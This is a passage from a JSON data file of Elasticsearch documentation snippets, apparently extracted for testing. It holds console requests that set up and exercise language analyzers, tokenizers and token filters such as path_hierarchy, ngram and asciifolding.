\"settings\": {\n \"analysis\": {\n \"filter\": {\n \"serbian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_serbian_\" <1>\n },\n \"serbian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"пример\"] <2>\n },\n \"serbian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"serbian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_serbian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"serbian_stop\",\n \"serbian_keywords\",\n \"serbian_stemmer\",\n \"serbian_normalization\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1647},"digest":"320645d771e952af2a67bb7445c3688d","lang":"console","found":["ruby"],"source":"PUT /sorani_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"sorani_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_sorani_\" <1>\n },\n \"sorani_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"mînak\"] <2>\n },\n \"sorani_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"sorani\"\n }\n },\n \"analyzer\": {\n \"rebuilt_sorani\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"sorani_normalization\",\n \"lowercase\",\n \"decimal_digit\",\n \"sorani_stop\",\n \"sorani_keywords\",\n \"sorani_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1697},"digest":"327466380bcd55361973b4a96c6dccb2","lang":"console","found":["ruby"],"source":"PUT /spanish_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"spanish_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_spanish_\" <1>\n },\n \"spanish_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"ejemplo\"] <2>\n },\n \"spanish_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_spanish\"\n }\n },\n \"analyzer\": {\n \"rebuilt_spanish\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"spanish_stop\",\n \"spanish_keywords\",\n \"spanish_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1745},"digest":"f097c02541056f3c0fc855e7bbeef8a8","lang":"console","found":["ruby"],"source":"PUT /swedish_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"swedish_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_swedish_\" <1>\n },\n \"swedish_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"exempel\"] <2>\n },\n \"swedish_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"swedish\"\n }\n },\n \"analyzer\": {\n \"rebuilt_swedish\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"swedish_stop\",\n \"swedish_keywords\",\n \"swedish_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1793},"digest":"103296e16b4233926ad1f07360385606","lang":"console","found":["ruby"],"source":"PUT /turkish_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"turkish_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_turkish_\" <1>\n },\n \"turkish_lowercase\": {\n \"type\": \"lowercase\",\n \"language\": \"turkish\"\n },\n \"turkish_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"örnek\"] <2>\n },\n \"turkish_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"turkish\"\n }\n },\n \"analyzer\": {\n \"rebuilt_turkish\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"apostrophe\",\n \"turkish_lowercase\",\n \"turkish_stop\",\n \"turkish_keywords\",\n \"turkish_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1846},"digest":"346f28d82acb5427c304aa574fea0008","lang":"console","found":["ruby"],"source":"PUT /thai_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"thai_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_thai_\" <1>\n }\n },\n \"analyzer\": {\n \"rebuilt_thai\": {\n \"tokenizer\": \"thai\",\n \"filter\": [\n \"lowercase\",\n \"decimal_digit\",\n \"thai_stop\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/pattern-analyzer.asciidoc","line":29},"digest":"467833bd44b35a89a7fe0d7df5f253f1","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"pattern\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/pattern-analyzer.asciidoc","line":180},"digest":"831f65d700577e11112c711236110f61","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_email_analyzer\": {\n \"type\": \"pattern\",\n \"pattern\": \"\\\\W|_\", <1>\n \"lowercase\": true\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_email_analyzer\",\n \"text\": \"John_Smith@foo-bar.com\"\n}"}, {"source_location":{"file":"analysis/analyzers/pattern-analyzer.asciidoc","line":267},"digest":"7c4551abbb7a5f3841109f7664bc4aad","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"camel\": {\n \"type\": \"pattern\",\n \"pattern\": \"([^\\\\p{L}\\\\d]+)|(?<=\\\\D)(?=\\\\d)|(?<=\\\\d)(?=\\\\D)|(?<=[\\\\p{L}&&[^\\\\p{Lu}]])(?=\\\\p{Lu})|(?<=\\\\p{Lu})(?=\\\\p{Lu}[\\\\p{L}&&[^\\\\p{Lu}]])\"\n }\n }\n }\n }\n}\n\nGET my-index-000001/_analyze\n{\n \"analyzer\": \"camel\",\n \"text\": \"MooseX::FTPClass2_beta\"\n}"}, {"source_location":{"file":"analysis/analyzers/pattern-analyzer.asciidoc","line":385},"digest":"f453e14bcf30853e57618bf12f83e148","lang":"console","found":["ruby"],"source":"PUT /pattern_example\n{\n \"settings\": {\n \"analysis\": {\n \"tokenizer\": {\n \"split_on_non_word\": {\n \"type\": \"pattern\",\n \"pattern\": \"\\\\W+\" <1>\n }\n },\n \"analyzer\": {\n \"rebuilt_pattern\": {\n \"tokenizer\": \"split_on_non_word\",\n \"filter\": [\n \"lowercase\" <2>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/simple-analyzer.asciidoc","line":15},"digest":"1ea24f67fbbb6293d53caf2fe0c4b984","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"simple\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/simple-analyzer.asciidoc","line":134},"digest":"f9732ce07960134ea7156e118c2da8a6","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_custom_simple_analyzer\": {\n \"tokenizer\": \"lowercase\",\n \"filter\": [ <1>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/standard-analyzer.asciidoc","line":17},"digest":"6884454f57c3a41059037ea762f48d77","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"standard\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/standard-analyzer.asciidoc","line":154},"digest":"173b190078621415a80e851eaf794e8a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_english_analyzer\": {\n \"type\": \"standard\",\n \"max_token_length\": 5,\n \"stopwords\": \"_english_\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_english_analyzer\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/standard-analyzer.asciidoc","line":284},"digest":"ccf84c1e5e5602a9e841cb8f7e3bb29f","lang":"console","found":["ruby"],"source":"PUT /standard_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"rebuilt_standard\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\" <1>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/stop-analyzer.asciidoc","line":15},"digest":"42d02087f1c8ab0452ef373079a76843","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"stop\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/stop-analyzer.asciidoc","line":133},"digest":"d268aec16bb1eb909b634e856175094c","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_stop_analyzer\": {\n \"type\": \"stop\",\n \"stopwords\": [\"the\", \"over\"]\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_stop_analyzer\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/stop-analyzer.asciidoc","line":249},"digest":"42deb4fe32afbe0f94185e256a79c447","lang":"console","found":["ruby"],"source":"PUT /stop_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"english_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_english_\" <1>\n }\n },\n \"analyzer\": {\n \"rebuilt_stop\": {\n \"tokenizer\": \"lowercase\",\n \"filter\": [\n \"english_stop\" <2>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/whitespace-analyzer.asciidoc","line":14},"digest":"262a778d754add491fbc9c721ac25bf0","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"whitespace\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/whitespace-analyzer.asciidoc","line":131},"digest":"31aed390c30bd4f42a5c56253695e53f","lang":"console","found":["ruby"],"source":"PUT /whitespace_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"rebuilt_whitespace\": {\n \"tokenizer\": \"whitespace\",\n \"filter\": [ <1>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenizers/chargroup-tokenizer.asciidoc","line":33},"digest":"f8cafb1a08bc9b2dd5239f99d4e93f4c","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": {\n \"type\": \"char_group\",\n \"tokenize_on_chars\": [\n \"whitespace\",\n \"-\",\n \"\\n\"\n ]\n },\n \"text\": \"The QUICK brown-fox\"\n}"}, {"source_location":{"file":"analysis/tokenizers/chargroup-tokenizer.asciidoc","line":51},"digest":"f3ac0bc5ecf9995f51d22f6fb2ec1afa","lang":"console-result","found":[],"source":"{\n \"tokens\": [\n {\n \"token\": \"The\",\n \"start_offset\": 0,\n \"end_offset\": 3,\n \"type\": \"word\",\n \"position\": 0\n },\n {\n \"token\": \"QUICK\",\n \"start_offset\": 4,\n \"end_offset\": 9,\n \"type\": \"word\",\n \"position\": 1\n },\n {\n \"token\": \"brown\",\n \"start_offset\": 10,\n \"end_offset\": 15,\n \"type\": \"word\",\n \"position\": 2\n },\n {\n \"token\": \"fox\",\n \"start_offset\": 16,\n \"end_offset\": 19,\n \"type\": \"word\",\n \"position\": 3\n }\n ]\n}"}, {"source_location":{"file":"analysis/tokenizers/classic-tokenizer.asciidoc","line":25},"digest":"c6d39d22188dc7bbfdad811a94cbcc2b","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"classic\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/classic-tokenizer.asciidoc","line":148},"digest":"ba9a5f66a6148612de0ad2491fd6c90d","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"classic\",\n \"max_token_length\": 5\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/edgengram-tokenizer.asciidoc","line":28},"digest":"a512e4dd8880ce0395937db1bab1d205","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"edge_ngram\",\n \"text\": \"Quick Fox\"\n}"}, {"source_location":{"file":"analysis/tokenizers/edgengram-tokenizer.asciidoc","line":144},"digest":"45b74f1904533fdb37a5a6f3c8f4ec9b","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"edge_ngram\",\n \"min_gram\": 2,\n \"max_gram\": 10,\n \"token_chars\": [\n \"letter\",\n \"digit\"\n ]\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"2 Quick Foxes.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/edgengram-tokenizer.asciidoc","line":264},"digest":"c9b6cbe93c8bd23e3f658c3af4e70092","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"autocomplete\": {\n \"tokenizer\": \"autocomplete\",\n \"filter\": [\n \"lowercase\"\n ]\n },\n \"autocomplete_search\": {\n \"tokenizer\": \"lowercase\"\n }\n },\n \"tokenizer\": {\n \"autocomplete\": {\n \"type\": \"edge_ngram\",\n \"min_gram\": 2,\n \"max_gram\": 10,\n \"token_chars\": [\n \"letter\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"analyzer\": \"autocomplete\",\n \"search_analyzer\": \"autocomplete_search\"\n }\n }\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"title\": \"Quick Foxes\" <1>\n}\n\nPOST my-index-000001/_refresh\n\nGET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"title\": {\n \"query\": \"Quick Fo\", <2>\n \"operator\": \"and\"\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenizers/keyword-tokenizer.asciidoc","line":15},"digest":"09a44b619a99f6bf3f01bd5e258fd22d","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"keyword\",\n \"text\": \"New York\"\n}"}, {"source_location":{"file":"analysis/tokenizers/keyword-tokenizer.asciidoc","line":61},"digest":"c95d5317525c2ff625e6971c277247af","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"keyword\",\n \"filter\": [ \"lowercase\" ],\n \"text\": \"john.SMITH@example.COM\"\n}"}, {"source_location":{"file":"analysis/tokenizers/letter-tokenizer.asciidoc","line":16},"digest":"76448aaaaa2c352bb6e09d2f83a3fbb3","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"letter\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/lowercase-tokenizer.asciidoc","line":20},"digest":"a99bc141066ef673e35f306157750ec9","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"lowercase\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/ngram-tokenizer.asciidoc","line":24},"digest":"39963032d423e2f20f53c4621b6ca3c6","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"ngram\",\n \"text\": \"Quick Fox\"\n}"}, {"source_location":{"file":"analysis/tokenizers/ngram-tokenizer.asciidoc","line":220},"digest":"d8c401a5b7359ec65947b9f35ecf6927","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"ngram\",\n \"min_gram\": 3,\n \"max_gram\": 3,\n \"token_chars\": [\n \"letter\",\n \"digit\"\n ]\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"2 Quick Foxes.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":17},"digest":"dc4dcfeae8a5f248639335c2c9809549","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"path_hierarchy\",\n \"text\": \"/one/two/three\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":100},"digest":"4e2317aa45e87922d07c8ddc67a82d32","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"path_hierarchy\",\n \"delimiter\": \"-\",\n \"replacement\": \"/\",\n \"skip\": 2\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"one-two-three-four-five\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":195},"digest":"840b6c5c3d9c56aed854cfab8da04486","lang":"console","found":["ruby"],"source":"PUT file-path-test\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"custom_path_tree\": {\n \"tokenizer\": \"custom_hierarchy\"\n },\n \"custom_path_tree_reversed\": {\n \"tokenizer\": \"custom_hierarchy_reversed\"\n }\n },\n \"tokenizer\": {\n \"custom_hierarchy\": {\n \"type\": \"path_hierarchy\",\n \"delimiter\": \"/\"\n },\n \"custom_hierarchy_reversed\": {\n \"type\": \"path_hierarchy\",\n \"delimiter\": \"/\",\n \"reverse\": \"true\"\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"file_path\": {\n \"type\": \"text\",\n \"fields\": {\n \"tree\": {\n \"type\": \"text\",\n \"analyzer\": \"custom_path_tree\"\n },\n \"tree_reversed\": {\n \"type\": \"text\",\n \"analyzer\": \"custom_path_tree_reversed\"\n }\n }\n }\n }\n }\n}\n\nPOST file-path-test/_doc/1\n{\n \"file_path\": \"/User/alice/photos/2017/05/16/my_photo1.jpg\"\n}\n\nPOST file-path-test/_doc/2\n{\n \"file_path\": \"/User/alice/photos/2017/05/16/my_photo2.jpg\"\n}\n\nPOST file-path-test/_doc/3\n{\n \"file_path\": \"/User/alice/photos/2017/05/16/my_photo3.jpg\"\n}\n\nPOST file-path-test/_doc/4\n{\n \"file_path\": \"/User/alice/photos/2017/05/15/my_photo1.jpg\"\n}\n\nPOST file-path-test/_doc/5\n{\n \"file_path\": \"/User/bob/photos/2017/05/16/my_photo1.jpg\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":273},"digest":"bd767ea03171fe71c73f58f16d5da92f","lang":"console","found":["ruby"],"source":"GET file-path-test/_search\n{\n \"query\": {\n \"match\": {\n \"file_path\": \"/User/bob/photos/2017/05\"\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":289},"digest":"b724f547c5d67e95bbc0a9920e47033c","lang":"console","found":["ruby"],"source":"GET file-path-test/_search\n{\n \"query\": {\n \"term\": {\n \"file_path.tree\": \"/User/alice/photos/2017/05/16\"\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":309},"digest":"f1dc6f69453867ffafe86e998dd464d9","lang":"console","found":["ruby"],"source":"GET file-path-test/_search\n{\n \"query\": {\n \"term\": {\n \"file_path.tree_reversed\": {\n \"value\": \"my_photo1.jpg\"\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":328},"digest":"acc52da725a996ae696b00d9f818dfde","lang":"console","found":["ruby"],"source":"POST file-path-test/_analyze\n{\n \"analyzer\": \"custom_path_tree\",\n \"text\": \"/User/alice/photos/2017/05/16/my_photo1.jpg\"\n}\n\nPOST file-path-test/_analyze\n{\n \"analyzer\": \"custom_path_tree_reversed\",\n \"text\": \"/User/alice/photos/2017/05/16/my_photo1.jpg\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pathhierarchy-tokenizer.asciidoc","line":349},"digest":"4bba59cf745ac7b996bf90308bc26957","lang":"console","found":["ruby"],"source":"GET file-path-test/_search\n{\n \"query\": {\n \"bool\" : {\n \"must\" : {\n \"match\" : { \"file_path\" : \"16\" }\n },\n \"filter\": {\n \"term\" : { \"file_path.tree\" : \"/User/alice\" }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenizers/pattern-tokenizer.asciidoc","line":32},"digest":"1a6dbe5df488c4a16e2f1101ba8a25d9","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"pattern\",\n \"text\": \"The foo_bar_size's default is 5.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pattern-tokenizer.asciidoc","line":128},"digest":"118f249a3b26c33416f641b33f2b74f8","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"pattern\",\n \"pattern\": \",\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"comma,separated,values\"\n}"}, {"source_location":{"file":"analysis/tokenizers/pattern-tokenizer.asciidoc","line":216},"digest":"1598a0fec6b1ca78cadbaba65f465196","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"pattern\",\n \"pattern\": \"\\\"((?:\\\\\\\\\\\"|[^\\\"]|\\\\\\\\\\\")+)\\\"\",\n \"group\": 1\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"\\\"value\\\", \\\"value with embedded \\\\\\\" quote\\\"\"\n}"}, {"source_location":{"file":"analysis/tokenizers/simplepattern-tokenizer.asciidoc","line":39},"digest":"060a56477e39f272fc5a9cfe47443cf1","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"simple_pattern\",\n \"pattern\": \"[0123456789]{3}\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"fd-786-335-514-x\"\n}"}, {"source_location":{"file":"analysis/tokenizers/simplepatternsplit-tokenizer.asciidoc","line":40},"digest":"44939997b0f2601f82a93585a879f65a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"simple_pattern_split\",\n \"pattern\": \"_\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"an_underscored_phrase\"\n}"}, {"source_location":{"file":"analysis/tokenizers/standard-tokenizer.asciidoc","line":16},"digest":"88a08d0b15ef41324f5c23db533d47d1","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"standard\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/standard-tokenizer.asciidoc","line":139},"digest":"d7717318d93d0a1f3ad049f9c6604417","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"standard\",\n \"max_token_length\": 5\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenizers/thai-tokenizer.asciidoc","line":20},"digest":"a1e5f3956f9a697e79478fc9a6e30e1f","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"thai\",\n \"text\": \"การที่ได้ต้องแสดงว่างานดี\"\n}"}, {"source_location":{"file":"analysis/tokenizers/uaxurlemail-tokenizer.asciidoc","line":14},"digest":"d12df43ffcdcd937bae9b26fb475e239","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"uax_url_email\",\n \"text\": \"Email me at john.smith@global-international.com\"\n}"}, {"source_location":{"file":"analysis/tokenizers/uaxurlemail-tokenizer.asciidoc","line":95},"digest":"daf5631eba5285f1b929d5d8d8dc0d50","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_analyzer\": {\n \"tokenizer\": \"my_tokenizer\"\n }\n },\n \"tokenizer\": {\n \"my_tokenizer\": {\n \"type\": \"uax_url_email\",\n \"max_token_length\": 5\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_analyzer\",\n \"text\": \"john.smith@global-international.com\"\n}"}, {"source_location":{"file":"analysis/tokenizers/whitespace-tokenizer.asciidoc","line":14},"digest":"7b9dfe5857bde1bd8483ea3241656714","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"tokenizer\": \"whitespace\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/apostrophe-tokenfilter.asciidoc","line":22},"digest":"3343a4cf559060c422d86c786a95e535","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"apostrophe\"],\n \"text\" : \"Istanbul'a veya Istanbul'dan\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/apostrophe-tokenfilter.asciidoc","line":77},"digest":"46ebd468c3f132a4978088964466c5cd","lang":"console","found":["ruby"],"source":"PUT /apostrophe_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_apostrophe\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"apostrophe\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/asciifolding-tokenfilter.asciidoc","line":21},"digest":"00d65f7b9daa1c6b18eedd8ace206bae","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"asciifolding\"],\n \"text\" : \"açaí à la carte\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/asciifolding-tokenfilter.asciidoc","line":83},"digest":"5433bb83628cc91d81fbe53c533b2a09","lang":"console","found":["ruby"],"source":"PUT /asciifold_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_asciifolding\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"asciifolding\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/asciifolding-tokenfilter.asciidoc","line":118},"digest":"019e329ed5a930aef825266822e7377a","lang":"console","found":["ruby"],"source":"PUT /asciifold_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"standard_asciifolding\": {\n \"tokenizer\": \"standard\",\n \"filter\": [ \"my_ascii_folding\" ]\n }\n },\n \"filter\": {\n \"my_ascii_folding\": {\n \"type\": \"asciifolding\",\n \"preserve_original\": true\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc","line":22},"digest":"b8c03bbd917d0cf5474a3e46ebdd7aad","lang":"console","found":["ruby"],"source":"GET /_analyze\n{\n \"tokenizer\" : \"standard\",\n \"filter\" : [\"cjk_bigram\"],\n \"text\" : \"東京都は、日本の首都であり\"\n}"}, {"source_location":{"file":"analysis/tokenfilters/cjk-bigram-tokenfilter.asciidoc","line":126},"digest":"4323f6d224847eccdce59c23e33fda0a","lang":"console","found":["ruby"],"source":"PUT /cjk_bigram_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n 